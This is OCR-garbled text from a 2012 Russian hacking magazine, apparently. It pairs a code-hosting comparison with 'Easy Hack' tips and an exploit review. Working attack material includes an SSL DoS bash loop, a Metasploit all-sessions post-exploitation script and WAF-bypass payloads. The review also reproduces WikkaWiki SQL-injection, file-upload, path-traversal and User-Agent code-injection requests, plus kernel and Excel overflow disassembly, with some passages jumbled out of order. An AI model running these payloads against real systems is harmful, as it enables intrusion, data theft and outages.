интерфейс сделан так, что тот,кому адресовано сообщение, обязательноGitHubзаметит его. GitHub также предлагает одиниз лучших инструментов для review кода. Средивозможностей этого инструмента — подсветкаи определение языка кода, комментированиестрок кода и коммитов. Некоторые по разнымпричинам недолюбливают GitHub, но, тем не менее,можно сказать наверняка, что это самыйпопулярный среди хостингов Git-репозиториев.И тебе он тоже понравится.Резюме: Для фанатов Git и новичков.CodePlexwww.codeplex.comПроекты:только под свободной лицензией.Поддерживаемые системы контроля версий:Mercurial, TFS (Microsoft Team FoundationServer).Основные возможности:wiki, code review, почтовая рассылка.Если и искать где-то проекты с открытымисходным кодом на платфторме .Net, тона Codeplex. В этом нет ничего удивительного —ведь это проект компании Microsoft. И хотя никтоне накладывает ограничения на инструменты,используемые для разработки, этот хостингсчитается настоящей Меккой для проектов на .Net. Что говорить, если прямо из Visual Studioможно работать с тасками, багами и версиямипроектов, которые хостятся на CodePlex. Сервисполностью бесплатный. Каждому проекту выделяетсядомен имя_проекта.codeplex.com. Изначальноскрытая страница проекта не раскрываетсяв течение месяца, чтобы у разработчикабыла возможность заполнить документацию,выложить текущие исходники и определитьсяс лицензией. После публикации проект начинаетнастоящую жизнь — с этого момента можноподключать разработчиков и редакторов,начинать обсуждения и т. д. В целом CodePlexоставляет ощущения продуманного проектаи по функционалу сильно напоминает GitHub.Тем не менее, этот сервис больше подойдетпрограммистам-одиночкам или небольшимCodePlexкомандам разработчиков, так как интерфейсзаточен под wiki, а не под исходный код. Другимисловами, платформа, скорее, ориентированана публикацию (ведение документации),а не на разработку.Резюме: Для разработчиков .Net.046ХАКЕР 02 /157/ 2012


Где хранить код?Gitoriousgitorious.orgПоддерживаемые системы контроля версий:Git.Проекты:публичные репозитории.Основные возможности:wiki, code review, почтовая рассылка.Как несложно понять из названия, это хостингдля Git-репозиториев кода. Он появилсяраньше, чем GitHub, но развивался довольновяло. Это особенно странно с учетом того, чтоисходники Gitorious с самого начала былиоткрыты. Таким образом, ты без проблем сможешьразвернуть подобный сервис на своихсерверах и использовать свой собственныйхостинг кода для работы с файлами разныхпроектов (например, внутри предприятия).Правда, спешу предупредить, что в планеудобства проект, на мой взгляд, оставляет желатьлучшего. Он скорее подходит индивидуальнымразработчикам, чем команде кодеров.К примеру, здесь напрочь отсутствуют хотькакие-нибудь инструменты для review кода.От встроенного wiki нет никакого толку — онабсолютно не годится для ведения проектнойдокументации. Перемещаться по деревуисходников и просматривать blob'ы (используемыев Git структуры данных) неудобно.С другой стороны, местами интерфейс дажепонятнее, чем у GitHub: например, очень наглядноотображается части проекта и правадоступа. Если GitHub — это настоящая кладезьGitoriousинтересных проектов, то на Gitorious не такмного известных разработок. Если бы не репозиториибиблиотек Qt, то проект, возможно,зачах бы совсем.Резюме: Для фанатов Git.Kilnwww.fogcreek.com/kilnПоддерживаемые системы контроля версий:Mercurial.Проекты: только платные подписки (возможенбесплатный доступ на 45 дней).Основные возможности:code review, bug tracker.Этот сервис можно назвать одним из лучшиххостингов Mercurial-репозиториев, у которого,пожалуй, есть только один минус — он платный.Использовать его — одно удовольствие.Для миграции с других хостингов предлагаетсяспециальная утилита импорта, по умолчаниюнастроенная на твой аккаунт, что позволяеточень быстро сделать импорт из Git-, SVN-,Mercurial-репозиториев. Для работы подвиндой предоставляется расширенная версияклиента TortoiseHg, специально заточенногопод этот сервис. Kiln имеет грамотный интерфейсдля review-кода, да и вообще весь UI выполненна самом высоком уровне. В качествеbug tracker'а предлагается отдельный продукт,известный в кругах программистов, — FogBugz(правда, только при расширенной подписке).В целом этот сервис хорошо подходит для новичков,которым придется по душе продуманныйи не перегруженный лишними наворотамиинтерфейс. Короче говоря, с Kiln можно сразуKilnзаняться написанием кода, а не возиться с настройкойсреды разработки. Но для этого, увы,придется заплатить денежку.Резюме: Для фанатов Mercurial и новичков.Launchpadlaunchpad.netПоддерживаемые системы контроля версий:Bazaar.Проекты:опенсорсные проекты.Основные возможности:code review, bug tracker, faq, answers.Этот хостинг кода примечателен преждевсего тем, что построен на системе контроляверсий Bazaar, разработанной компаниейCanonical. Собственно, самим Launchpad занимаютсяте же самые разработчики. Если тыпытаешься вспомнить, где слышал названиеэтой компании, подскажу: это те же парни,которые породили на свет бешено популярныйUbuntu Linux. Нет ничего удивительного в том,что Launchpad ориентирован на эту ОС. Например,он поддерживает Ubuntu PPA (PersonalPackage Archives), что позволяет легкоснабжать пользователей Убунты программамии обновлениями. Для большинства проектов,которые хостятся на Lauchpad, необходим готовыйрепозиторий для Linux-пользователей.Не могу не отметить несколько фишек, которыекрайне удобны в работе. К примеру, длякаждого проекта можно сделать раздел «Вопросыи ответы», а продвинутый инструментдля code review сам проверит все конфликтыLaunchpadи оповестит всех участников, открыв на сайтедискуссию.Резюме: Для фанатов Ubuntu.ТАК ЧТО ЖЕ ВЫБРАТЬ?Каждый выбирает сервис под себя. Но еслихочешь моего совета, то я бы рекомендовал начинающимразработчикам GitHub или Bitbucket.Это отменные сервисы, которые к тому же отличнодокументированы: ты без труда сможешьосвоить не только внутреннюю кухню самиххостингов кода, но и приобщиться к системеконтроля версий в целом. У GitHub огромноекомьюнити и один из самых передовых интерфейсов,а Bitbucket позволяет создавать закрытыерепозитории — а это дорого стоит. Темпрограммистам, которые специализируются на .Net, возможно, приглянется CodePlex — он одинможет похвастаться интеграцией с Visual Studio.В случае если нужно просто выложить дистрибутиви документацию, а заодно пообщатьсяс пользователями, неплохим выбором будетGoogle Code. Если твоя разработка потенциальноможет заинтересовать пользователейUbuntu Linux, то можно попробовать LaunchPad.Assembla и Kiln подойдут программистам, работающимв команде, но им я советовать ничегоне буду. Они и так все знают :). zХАКЕР 02 /157/ 2012 047


ВЗЛОМ / EASY HACKАлексей «GreenDog» Тюрин, Digital Security (twitter.com/antyurin)EASYHACKОБОЙТИ СЕТЕВОЙ ФАЙРВОЛЗАДАЧАРЕШЕНИЕПредположим, что в защищенном файерволом сегменте сети находитсянекая цель. Также допустим, что входящие соединения с этойцелью запрещены, а исходящие от нее разрешены. При всем приэтом файервол использует для подключения динамическую фильтрациюkeep-state, с которой для начала нам и нужно разобраться.Проще говоря, динамическая фильтрация — это такая фильтрация,при которой для заданного правила автоматически создается обратное.Например, если есть правило «разрешить трафик от хостаА на хост Б с порта XYZ на ZYX по протоколу TCP», то для того, чтобыданные могли пройти обратно (от хоста Б к А), файервол такжедолжен использовать соответствующее правило. При динамическойфильтрации обратное правило создается автоматически, как толькозадействуется первое.Теперь, когда мы определились с терминами, можно переходитьнепосредственно к обходу файервола. Теоретически мы никак неможем добраться до цели, так как любые наши попытки подключения(TCP-пакеты с SYN-флагом) будут блокироваться. Как ты наверняказнаешь, TCP/IP-протоколы очень гибкие, а RFC описываютдалеко не все тонкости. На этом мы и сыграем.Отдельные операционные системы, позволяют устанавливатьсоединения посредством TCP-пакета с некоторыми дополнительнымифлагами, за исключением SYN (как ты помнишь, для установкисоединения по RFC должен присутствовать только этот флаг). Ктаким ОС относится как Windows, так и Linux (правда, не все версии).Полный список можно посмотреть по адресу goo.gl/9mu12. Какиеименно дополнительные флаги нужны? Такие, которые являютсялегитимными при установленном соединении, то есть, к примеру,FIN, ACK, RST (этот список можно продолжать).Итак, мы выбрали один из указанных выше флагов. Перейдем ковторому этапу, на котором нам нужно найти в файерволе определенныйбаг. Он заключается в том, что файер не проверяет присутствиеSYN-флага для уже «установленного» соединения, то есть во входящемпакете не виден RST-флаг.Думаю, теперь общий принцип атаки понятен. Мы должны подключитьсяк хосту с помощью TCP-пакета SYN + FIN, который небудет блокирован файерволом, так как тот сочтет, что мы используемустановленное ранее соединение, а не инициализируем новое,запрещенное правилами. Атакуемый хост (наша цель) отправляетответ SYN + ACK, а далее идут ACK'и, которые файервол и не долженблокировать, так как исходящий трафик от нашей цели разрешен.Важный вопрос здесь заключается в том, как часто такие «дырки»встречаются в файерволах. Лично я не сталкивался с такимиуязвимостями в живой природе, но видел на бескрайних просторахинтернета несколько упоминаний о них. В любом случае идея мнекажется довольно интересной, так что дерзай!Соединение установлено, несмотря на пришедший TCP-пакет SYN-FIN048ХАКЕР 02 /157/ 2012


EASY HACKВЗЛОМАТЬ САЙТ НА WORDPRESSЗАДАЧАРЕШЕНИЕWordPress является одной из самых распространенных CMS вмире. Она имеет множество плагинов, тем и настроек, что позволяетс легкостью создавать самые специфические ресурсы, какбольшие, так и маленькие. Конечно, эта особенность привлекает кWordPress внимание и белых, и черных «шапок». Как это часто бывает,после обнаружения какого-либо критичного бага проноситсяволна взломов. Но если основной движок уже не преподноситтаких сюрпризов, то его плагины — регулярно.Для каждого популярного продукта или технологии существуютсвои сканеры безопасности, позволяющие автоматизировать иоблегчить труд хакера или ИБ-исследователя. Вот и для WordPressне так давно появился специализированный софт под названиемWPScan (code.google.com/p/wpscan/). Автором этого творенияявляется Ryan Dewhurst.Функционал программы не так широк, как хотелось бы некоторым,однако в нем присутствует всё самое необходимое.Во-первых, это определение версии и имеющихся в ней пабликуязвимостей.Во-вторых, определение плагинов (в базе WPScan'аих 2220) и, опять же, их уязвимостей. В качестве бонуса присутствуетмногопоточный брутфорсер имен и паролей. С точкизрения применяемых алгоритмов здесь всё тривиально: перебори парсинг ответов. Следует учитывать, что это возможности лишьпервой версии. По заверениям автора, в последующих будут присутствоватьи сами эксплойты для найденных уязвимостей, что,согласись, приятно.Пользоваться тулзой достаточно просто. (Надеюсь, на твоей машинкеустановлен Ruby? :))ruby ./wpscan.rb --url www.example.com --enumerate pОпределяем плагины WordPressЗдесь «--url www.example.com» — это сканируемый хост, а параметр«--enumerate p» указывает на то, что модуль для определенияплагинов подключен. Кстати, с помощью этой тулзы можно попробоватьпросканировать и свой ресурс, но лучше всё же воспользоватьсяспециальными плагинами для WordPress вроде WP SecurityScan (goo.gl/Ykcn8).ПРОКАЧАТЬ ВЫВОД ИЗ NMAPЗАДАЧАРЕШЕНИЕВсе мы знаем и используем в своих легальных и не очень делахтакую утилиту, как Nmap (nmap.org). Одним из преимуществ этойпрограммы являются способы вывода информации. У Nmap ихчетыре:1. nmap (-oN) — по дефолту.2. gnmap (-oG) — вывод в строку для удобного применения в grep.3. xml (-oX) — вывод в формате XML.4. $crIpt KiDDi3 (-oS) — для фанов leet speak.Кроме того, используя аргумент -oA, можно организоватьвывод сразу в первых трех перечисленных форматах. По фактусамым юзабельным для операций поиска является формат gnmap,а для анализа — XML (через ZenMap, например). Но что если намхочется приложить красивый лог скана к какому-нибудь отчету опроделанной работе? Ни один из приведенных форматов для этогоне подходит. Можно, конечно, распарсить XML, но мы поступимпроще!Итак, идем на xmlsoft.org/XSLT/xsltproc.html и качаем там маленькуюпрограммку под названием xsltproc (кстати, она входит вкомплект BackTrack), затем пишем в консоли следующую команду:второй — имя итогового файла. На выходе получаем симпатичныйудобочитаемый HTML-документ. Отмечу, что, хотя всё это и выглядитдовольно просто, описанная тулза имеет довольно широкиевозможности — ее можно использовать для форматированиядругих типов XML-файлов.xsltproc nmap_scan.xml -o nmap_scan.htmlЗдесь первый параметр — это скан nmap в XML-формате, аКрасивый вывод из Nmap за пару кликовХАКЕР 02 /157/ 2012 049


ВЗЛОМ / EASY HACKКОМАНДОВАТЬ СРАЗУ ВСЕМИ ШЕЛЛАМИ ИЗ MSFЗАДАЧАРЕШЕНИЕХочу рассказать тебе об одном маленьком, но крайне юзабельномтрюке. Если мы проникли сразу на несколько машин, то, чтобы неписать команды в каждой из полученных сессий, мы можем воспользоватьсярадостями доступа к Ruby прямо из консоли MSF, запустивпостмодуль сразу во всех сессиях:msf> use post/windows/gather/enum_domain_tokensmsf enum_domain_tokens> irbframework.sessions.each_key do |session|run_single("set SESSION #{session}")print_status("Running #{active_module.fullname}against #{session}")run_single("run")sleep 1endКод получился тяжеловатым, но мы можем вписать его в rc-файл ипри необходимости запускать с помощью следующих команд:msf> use post/windows/gather/enum_domain_tokensmsf enum_domain_tokens> resource runall.rcВсё! Постмодуль запущен на всех поовненных машинах. За эту идеюреспектуем Jcran'у (goo.gl/sIhXf).ЗАDOSИТЬ СЕРВЕР С ПОМОЩЬЮ SSLЗАДАЧАРЕШЕНИЕПродолжаем мучить SSL. В позапрошлом выпуске рубрики мыразбирали уязвимость под названием SSL Renegation vuln вSSLv3/TLS-протоколе. Информация о ней была обнародована вдалеком 2009 году, поэтому в большинстве случаев она давноприкрыта. Как бы то ни было, официальные патчи уже есть, аrenegation (то есть переинициализация того же защищенногоTCP-соединения) уже не является опасной фичей, а потому умногих включена.Теперь давай рассмотрим другую интересную особенностьSSL-протоколов. При установке защищенного соединения серверзатрачивает гораздо больше процессорного времени (то есть большеиспользует процессор), чем клиент. Как ясно из задачи, этойособенностью можно воспользоваться в деструктивных целях. :-)К слову сказать, о ней известно довольно давно, но лишь недавногруппа THC представила тулзу, которая реализует описываемыйтип DoS-атаки для SSL (www.thc.org/thc-ssl-dos). Атака фактическиорганизуется путем множественных операций переинициализациизащищенных соединений (renegation) в контексте одногоSSL-соединения.Какова мощь такой атаки? Всё достаточно сурово. ПредставителиTHC пишут, что сервер затрачивает на установку соединенияв 15 раз больше ресурсов, чем клиент, а средний серверможет поддерживать порядка 300 инициализаций-соединений всекунду. Таким образом, имея всего лишь один атакующий хост снормальным каналом связи (DSL), мы сможем завалить приличныйсервер.Насколько это соответствует действительности? Здесь есть интересныенюансы. ИБ-специалист Vincent Bernat провел исследование,посвященное способам защиты от SSL DoS'а (goo.gl/Uqw8o).В ходе исследования он выяснил, что затраты процессорноговремени сильно зависят от используемого алгоритма шифрованияи, как видно из картинки, не настолько велики, хотя разницавсё же заметна. Следовательно, успешность атаки теоретическиопределяется алгоритмом шифрования.Что касается атаки на практике, то здесь всё просто. Берем известнуютулзу от THC и запускаем ее следующим образом:thc-ssl-dos.exe 127.1.1.1 443 --acceptЗапускаем SSL DoSЗдесь 127.1.1.1 — IP нашей жертвы, 443 — порт атакуемого сервиса(поддержка SSL обязательна), «--accept» — подтверждениетого, что мы не делаем ничего плохого. :-)Кстати, функция renegation вовсе не обязательна для атакуемогосервера. Атаковать можно и без нее, просто создав множествоSSL-соединений, однако нагрузка на канал и клиентскую машинупри этом увеличится в разы. Также атаку можно провернуть и безтулзы. Вот небольшой bash-скрипт от той же THC:thc-ssl-dosit() { while :; do (while :; do echo R; done) |\openssl s_client -connect 127.1.1.1:443 2>/dev/null; done }\for x in `seq 1 100`; do thc-ssl-dosit & doneХотелось бы также отметить, что атакуемым сервисом необязательнодолжен быть HTTPS. Подойдет любой другой порт, поддерживающийSSL (FTPs, POP3s), потому как сервер один и процессорноевремя тоже одно. Если же говорить о защите, то здесь потребуетсякак минимум отключить функции клиентского renegation'а, использоватьменее навороченные алгоритмы шифрования и ограничитьколичество инициализаций-соединений с одного IP. Подробноститы найдешь по ссылке goo.gl/Uqw8o.050ХАКЕР 02 /157/ 2012


EASY HACKОБОЙТИ WAFЗАДАЧАРЕШЕНИЕКак тебе уже наверняка известно, WAF (web application firewall)— это файервол, который работает на уровне приложения моделиOSI. В простейшем виде эта штука нацелена на блокированиетаких запросов к web-серверу, которые пытаются выполнить SQLинъекциюили XSS. WAF уже давно превратился из модной фичидля гиков в необходимую для любого более-менее крупного вебпроектавещь. Хотя на практике даже у тех организаций, которые,казалось бы, просто обязаны заботиться о безопасности пользовательскихданных (банки, магазины), WAF'ы если и имеются, тотолько для галочки. То есть они или совершенно устарели, илипросто не настроены, или же настроены, но неправильно. Предположимоднако, что наша цель всё же защищена нормальным WAF.Что делать? Есть несколько основных способов их обхода. Одним изтаких способов является модификация запросов к серверу. Обойтизащиту с его помощью удается за счет того, что, хотя протоколHTTP стандартизирован и описан в множестве RFC, обработчикизапросов для разных веб-серверов реализованы очень по-разному.Насколько сильно они отличаются, мы увидим дальше.Одним из классических примеров издевательства над HTTP являетсяприем HPP (HTTP Parameter Pollution). Что это? Для ответаобратимся к теории. Во-первых, к данным, которые пользовательпередает серверу, присоединяется так называемая Query String.Она следует за символом «?». Во-вторых, данные пользователяразделяются на пары вида «имя_параметра=значение». В-третьих,эти пары конкатенируются друг с другом с помощью символа «&»или «;». Если пользовательские данные содержат спецсимволы, тоони должны быть закодированы специальным образом (например,urlencode в PHP). Пример правильных запросов:#GETGET /foo?par1=val1&par2=val2 HTTP/1.1#POSTPOST /foo HTTP/1.1Content-Length: 19par1=val1&par2=val2Итак, HPP представляет собой повторение имен параметров сразными значениями. Так как подобное поведение, по идее, неопределено в RFC, то разные веб-сервера будут обрабатывать такиевходные данные по-разному. Вот пример типичного «загрязненияпараметров HTTP»:Этому запросу соответствуют следующие входные параметры:• для ASP и ASP.NET — значения, разделенные запятыми(par1=val1,val2,val3);• для Apache и PHP — последнее значение (par1=val3);• для Apache и Perl — массив (ARRAY[0x8b9059c]);• для Apache Tomcat — первое значение (par1=val1).Чем эта информация может быть нам полезна? Как минимум позволитопределить тип веб-сервера и используемую технологию.Максимум того, что она помогает выяснить, очень сильно зависиткак от самого сервера, так и от того, как работают и каким функционаломобладают сами скрипты. Более подробно HPP описанв презентации от Luca Carettoni и Stefano di Paola (goo.gl/9b9lx). Атеперь давай вернемся к обходу WAF и посмотрим, как применяетсятехника HPP, на примере ModSecurity для ASP:#Такой запрос блокируетсяindex.aspx?page=select 1,2,3 from table where id=1/#А такой — нетindex.aspx?page=select 1&page=2,3 from table where id=1Следует учитывать, что HPP уже давно не является новой технологией.Указанная выше презентация датируется 2009 годом.Можно придумать бесконечное множество подобных HPP-трюков,чем и занялся Ivan Markovic из Network Solution (netsec.rs),который в итоге опубликовал небольшую whitepaper про HTTPParameter Contamination (HPC). Чтобы лучше понять новый метод,давай снова обратимся к теории.Итак, согласно RFC, для HTTP определены две группы символов:1. Зарезервированные, или специальные — a–z, A–Z, 0–9 and _ . ! ~ * ' ( ).2. Незарезервированные — ; / ? : @ & = + $ ,.Однако если ты прямо сейчас посмотришь на свою клавиатуру,то обнаружишь там еще и символы { } | \ ^ [ ] `. Вот на них-то нашсербский друг и акцентировал свое внимание. Он вставлял этисимволы в имена и значения параметров. Итоги его работы тывоочию сможешь увидеть на прилагаемом скриншоте.В качестве доказательства эффективности HPC приведу несколькопримеров обхода WAF.1. ModSecurity. Запрос вида http://localhost/?xp_cmdshell блокируется,а запрос http://localhost/?xp[cmdshell — нет.2. Обход dir traversal URLScan. Запрос вида http://192.168.2.105/test.asp?file=../bla.txt блокируется, а запрос http://192.168.2.105/test.asp?file=.%./bla.txt — нет.GET /foo?par1=val1&par1=val2&par1=val3 HTTP/1.1HTTP Parameter ContaminationХАКЕР 02 /157/ 2012 051


ВЗЛОМ / ОБЗОР ЭКСПЛОИТОВПавел Павел Александрович (ivinside.blogspot.com)Дмитрий Михайлович Дмитрий Михайлович (115612, дер. Красная звездочка, д.1)0бзорэксплоитовВ нашу нелегкую эпоху буйства компьютерных технологий мы с радостьюпредставляем очередной обзор нашумевших уязвимостейи сплоитов для них. Как всегда, призываем тебя использовать ихне хулиганства ради, а защиты для!1Множественные уязвимости в WikkaWikiCVSSV2 7.5(:N/AC:L/AU:N/C:P/I:P/A:P)BRIEFВ конце ноября была опубликована информация об уязвимостяхв движке WikkaWiki, найденных товарищем Egidio Romano akaEgiX. Что примечательно, на момент публикации уязвимости ещёне были закрыты: исследователь выжидал почти два месяца послеотправки отчета разработчику, но тот по каким-то причинамне торопился исправлять баги.будет ошибка). Однако всегда можно выполнить подзапрос и увестиидентификатор сессии админа. Вот пример такого запроса:POST /wikka/UserSettings HTTP/1.1Host: localhostCookie: 96522b217a86eca82f6d72ef88c4c7f4=c3u94bo2csludij3v18787i4p6Content-Length: 140Content-Type: application/x-www-form-urlencodedConnection: keep-aliveaction=update&email=test%40test.com&default_comment_display=',email=EXPLOIT1. SQL-инъекция в операторе UPDATE. Уязвимый код находитсяв файле /actions/usersettings/usersettings.php, строки 140–152:default: // input is valid$this->Query("UPDATE ".$this->GetConfigValue('table_prefix')."usersSET email = '".mysql_real_escape_string($email)."',doubleclickedit='".mysql_real_escape_string($doubleclickedit)."',show_comments='".mysql_real_escape_string($show_comments)."',default_comment_display='".$default_comment_display."',revisioncount = ".$revisioncount.",changescount = ".$changescount.",theme = '".mysql_real_escape_string($usertheme)."'WHERE name = '".$user['name']."'LIMIT 1");При выполнении запроса, содержащегося в этом коде, мы видим,что функция mysql_real_escape_string() предварительно не обрабатываетпараметр default_comment_display, а значит, мы можемвнедрить в него произвольный SQL-запрос. В некоторых случаяхнам не удастся изменить содержимое таблицы users, напримерпароль админа, по двум причинам. Во-первых, указанный запросявляется многострочным, а во-вторых, последние версии MySQLне поддерживают незакрытые комменты (коммент, открывающийсязначками /*, должен всегда оканчиваться значками */ — иначеУязвимость в функции AfdJoinLeaf052ХАКЕР 02 /157/ 2012


Обзор эксплоитов(SELECT sessionid FROM wikka_sessions WHEREuserid='WikiAdmin'),theme='В том случае, если админ в данный момент залогинен, атакующийувидит идентификатор его сессии в поле формы UserSettings, предназначенномдля ввода e-mail’а. Если админ вручную не завершилсеанс работы в системе (то есть не нажал на Logout), атакующийсможет использовать номер его сессии, который останется в БД.Благодаря функции magicQuotesWorkaround, успешная эксплуатациядаже не требует директивы «magic_quotes_gpc = off».2. Загрузка произвольных файлов. Уязвимый код содержитсяв файле /actions/files/files.php, строки 266–278:elseif (preg_match('/.+\.('.$allowed_extensions.')$/i', $_FILES['file']['name'])){$strippedname = str_replace('\'','',$_FILES['file']['name']);$strippedname = rawurlencode($strippedname);$strippedname = stripslashes($strippedname);$destfile = $upload_path.DIRECTORY_SEPARATOR.$strippedname;if (!file_exists($destfile)) {if (move_uploaded_file($_FILES['file']['tmp_name'],$destfile)){$notification_msg = T_("File was successfully uploaded.");}Если в конфиге присутствует параметр 'INTRANET_MODE' или атакующийпохитил идентификатор сессии с помощью вышеописанногобага, то он может загрузить на сервер файл с двойным расширением,что позволит ему, например, выполнить произвольный PHP-код.Стоит обратить внимание на переменную $allowed_extensions, в которойопределены допустимые типы файлов. Вот как она выглядит:'gif|jpeg|jpg|jpe|png|doc|xls|csv|ppt|ppz|pps|pot|pdf|asc|txt|zip|gtar|gz|bz2|tar|rar|vpp|mpp|vsd|mm|htm|html'В этом списке присутствуют достаточно редкие расширения, которыене отражены в MIME-типах конфигурации Apache, например mm, vpp,в результате чего у атакующего появляется возможность выполнитьпроизвольный PHP-код. Следующий запрос демонстрирует загрузкуфайла с именем test.php.mm и содержимым :POST /wikka/test HTTP/1.1Host: localhostCookie: 96522b217a86eca82f6d72ef88c4c7f4=upjhsdd5rtc0ib55gv36l0jdt3Content-Length: 251Content-Type: multipart/form-data;boundary=--------1503534127Connection: keep-alive----------1503534127Content-Disposition: form-data; name="file";filename="test.php.mm"Content-Type: application/octet-streamУязвимый код в /handlers/files.xml/files.xml.php3. Выгрузка произвольных файлов. Интересующий нас код содержитсяв файле /handlers/files.xml/files.xml.php. Ты можешьувидеть его на соответствующем рисунке. Проверка переданногопользователем имени файла производится единственныйраз, в строке 54, и отсекает все файлы, имя которых начинаетсяс точки. Такой прием не помешает атакующему реализовать атакутипа Path Traversal — запрос на скачивание конфигурационногофайла движка выглядит так:http://localhost/wikka/test/files.xml?action=download&file=/../../wikka.config.php4. Ну и на десерт произвольное выполнение кода. Уязвимый кодсодержится в функции logSpam() файла /libs/Wakka.class.php,строки 1315–1343:function logSpam($type,$tag,$body,$reason,$urlcount,$user='',$time=''){$spamlogpath = (isset($this->config['spamlog_path'])) ?$this->config['spamlog_path'] : DEF_SPAMLOG_PATH;if ($user == ''){$user = $this->GetUserName();}if ($time == ''){$time = date('Y-m-d H:i:s');}if (preg_match('/^mass delete/',$reason)){$originip = '0.0.0.0';}else{$originip = $_SERVER['REMOTE_ADDR'];}$ua = (isset($_SERVER['HTTP_USER_AGENT'])) ?'['.$_SERVER['HTTP_USER_AGENT'].']' : '[?]';$body = trim($body);$sig = SPAMLOG_SIG.' '.$type.' '.$time.' '.$tag.' - '.$originip.' - '.$user.' '.$ua.' - '.$reason.' - '.$urlcount."\n";----------1503534127Content-Disposition: form-data; name="upload"}$content = $sig.$body."\n\n";return $this->appendFile($spamlogpath,$content);Upload----------1503534127--Если в конфиге включена опция spam_logging, то атакующий сможетвнедрить произвольный PHP-код в файл, заданный в переменной$spamlogpath (по умолчанию ./spamlog.txt.php) через элементмассива $_SERVER['HTTP_USER_AGENT']. Запрос, иллюстрирующийХАКЕР 02 /157/ 2012 053


ВЗЛОМ / ОБЗОР ЭКСПЛОИТОВвышесказанное:POST /wikka/test/addcomment HTTP/1.1Host: localhostCookie: 96522b217a86eca82f6d72ef88c4c7f4=6l11flsnvef642oajav0ufnp83User-Agent: Content-Length: 27Content-Type: application/x-www-form-urlencodedConnection: keep-alivebody=foo&submit=Add+CommentTARGETSWikkaWiki


Обзор эксплоитовВредоносный JavaScript-код для AndroidPAGE:00016C1D mov ebx, edx ; указатель на IRP StackPAGE:00016C1F mov [ebp+Irp], ecx ; ecx = пакет IRPPAGE:00016C22 xor esi, esiPAGE:00016C24 mov [ebp+var_20], esiPAGE:00016C27 mov [ebp+P], esiPAGE:00016C2A mov eax, [ebx+8] ; размер входного буфераPAGE:00016C2D cmp eax, 18h ; должен быть больше 0x18PAGE:00016C30 jb loc_170E2PAGE:00016C36 mov edx, [ebx+4] ; размер выходного буфераPAGE:00016C39 cmp edx, esi ; должен быть == 0PAGE:00016C3B jz short loc_16C46Теперь необходимо записать наши данные в выходной буферIRP. Для осуществления этой затеи нужно вызвать функциюAfdRestartJoin в базовом блоке по адресу 0x00016f54. В итоге этоприведет к вызову функции AfdConnectApcKernelRoutine, котораяпопытается записать NTSTATUS-код в выходной буфер IRP (в нашемслучае код равен 0xC0000207). Записав в буфер значение0xC0000207 без учета выравнивания, мы сможем вызывать нашшелл-код в пространстве пользователя по адресу 0x000207xx.TARGETSWindows XP Service Pack 3, Windows XP Professional x64 EditionService Pack 2, Windows Server 2003 Service Pack 2, Windows Server2003 x64 Edition Service Pack 2, Windows Server 2003 SP2 для Itaniumbased-систем.SOLUTIONСуществует обновление, устраняющее эту уязвимость.Уязвимость MS11-038 в Microsoft Office4 Excel, возникающая при обработке записиOBJ и приводящая к переполнению буфераCVSSV2 9.3(AV:N/AC:M/Au:N/C:C/I:C/A:C)BRIEFДля использования этой уязвимости атакующий должен заставитьпользователя открыть специальным образом сформиро-ХАКЕР 02 /157/ 2012 055


ВЗЛОМ / ОБЗОР ЭКСПЛОИТОВванный xls-файл. В результате у атакующего появится возможностьвыполнить произвольный код на локальной машинес правами пользователя, запустившего уязвимое приложение.EXPLOITЗапись OBJ в Excel определяет такие объекты, как Line,Rectangular, элемент управления CheckBox и т. д. Существуютразные типы OBJ-записей, отличающиеся дочерними записями.Структура дочерних записей идентична структуре файлов форматаBIFF.Это означает, что первые два байта представляют собойидентификаторы дочерней записи, следующие два байта указываютразмер данных, а далее следуют сами данные. Приведемсписок возможных дочерних записей:Дочерняя запись Значение ОписаниеftEnd 00h Конец OBJ-записи(Зарезервировано) 01h(Зарезервировано) 02h(Зарезервировано) 03hftMacro 04h Fmla-style macroftButton 05h Command buttonftGmo 06h Group markerftCf 07h Clipboard formatftPioGrbit 08h Picture option flagsftPictFmla 09h Picture fmla-style macroftCbls 0Ah Check box linkftRbo 0Bh Radio buttonftSbs 0Ch Scroll barftNts 0Dh Note structureftSbsFmla 0Eh Scroll bar fmla-style macroftGboData 0Fh Group box dataftEdoData 10h Edit control dataftRboData 11h Radio button dataftCblsData 12h Check box dataftLbsData 13h List box dataftCblsFmla 14h Check box link fmla-style macroftCmo 15h Данные объектаПервой всегда идет дочерняя запись ftCmo, а последней — ftEnd.Перечислим также поля подзаписи ftCmo:Смещение Имя поля Размер Содержимое0 ft 2 =ftCmo (15h)2 cb 2 Размер данных ftCmo4 ot 2 Тип объекта6 id 2 Идентификатор ID объекта8 grbit 2 Опциональные флаги14 (Reserved) 12 Зарезервировано; должно == 0Значения в функции sub_30164E23, относящиеся к дочернейзаписи, сохраняются в буфере. Далее, как следует из кода,выполняется обработка дочерней записи. Одной из функций,участвующих в обработке, является функция sub_3012FABC:.text:3012FAC8 mov edi, [ebp+arg_0].text:3012FACB xor esi, esi.text:3012FACD cmp dword_307E1FB4, esi.text:3012FAD3 mov ebx, [edi+6].text:3012FAD6 mov [ebp+var_4], esi.text:3012FAD9 mov [ebp+var_4C], esi.text:3012FADC mov [ebp+var_48], esi.text:3012FADF mov [ebp+var_44], esi.text:3012FAE2 mov [ebp+var_40], esi.text:3012FAE5 ja loc_30274818.text:3012FAEB cmp dword_307DB7A4, esi.text:3012FAF1 jnz short loc_3012FAFB.text:3012FAF3 cmp ebx, esi.text:3012FAF5 jnz loc_30127293....text:30127293 push dword ptr [ebx+4].text:30127296 call sub_30127263В первой строке дизассемблерного листинга происходит копированиеадреса буфера, содержащего записи ftCmo, в регистр edi.Затем в ebx копируется значение по смещению 0x6 в этомбуфере. Если ты обратил внимание на структуру ftCmo, то долженбыл заметить, что, начиная с этого офсета, 12 байт резервируются.Поэтому результат, который копируется в ebx, представляетсобой первые четыре байта зарезервированного значения.Если ты посмотришь на последующий код, то увидишь, чтопо адресу 0x30127293 значение контролируемого нами регистраebx+4 заносится в стек. Впоследствии оно используется в качествеаргумента функции sub_30127263. На этом шаге фактическии возникает уязвимость, поскольку никаких проверок того, допустимоли значение для ebx, не проводится.Функция sub_30127263 прибавляет к значению аргумента(которое мы контролируем) 0x10 и передает результат в функциюMSO_804..text:30127263 push ebp.text:30127264 mov ebp, esp.text:30127266 mov eax, [ebp+arg_0].text:30127269 push esi.text:3012726A mov esi, [eax+0Ah].text:3012726D push esi.text:3012726E call MSO_804 ;[307D538C]...Функция MSO_804 увеличивает свой аргумент на 0x3c и возвращаетполученный результат.30E27FB0PUSH EBP30E27FB1MOV 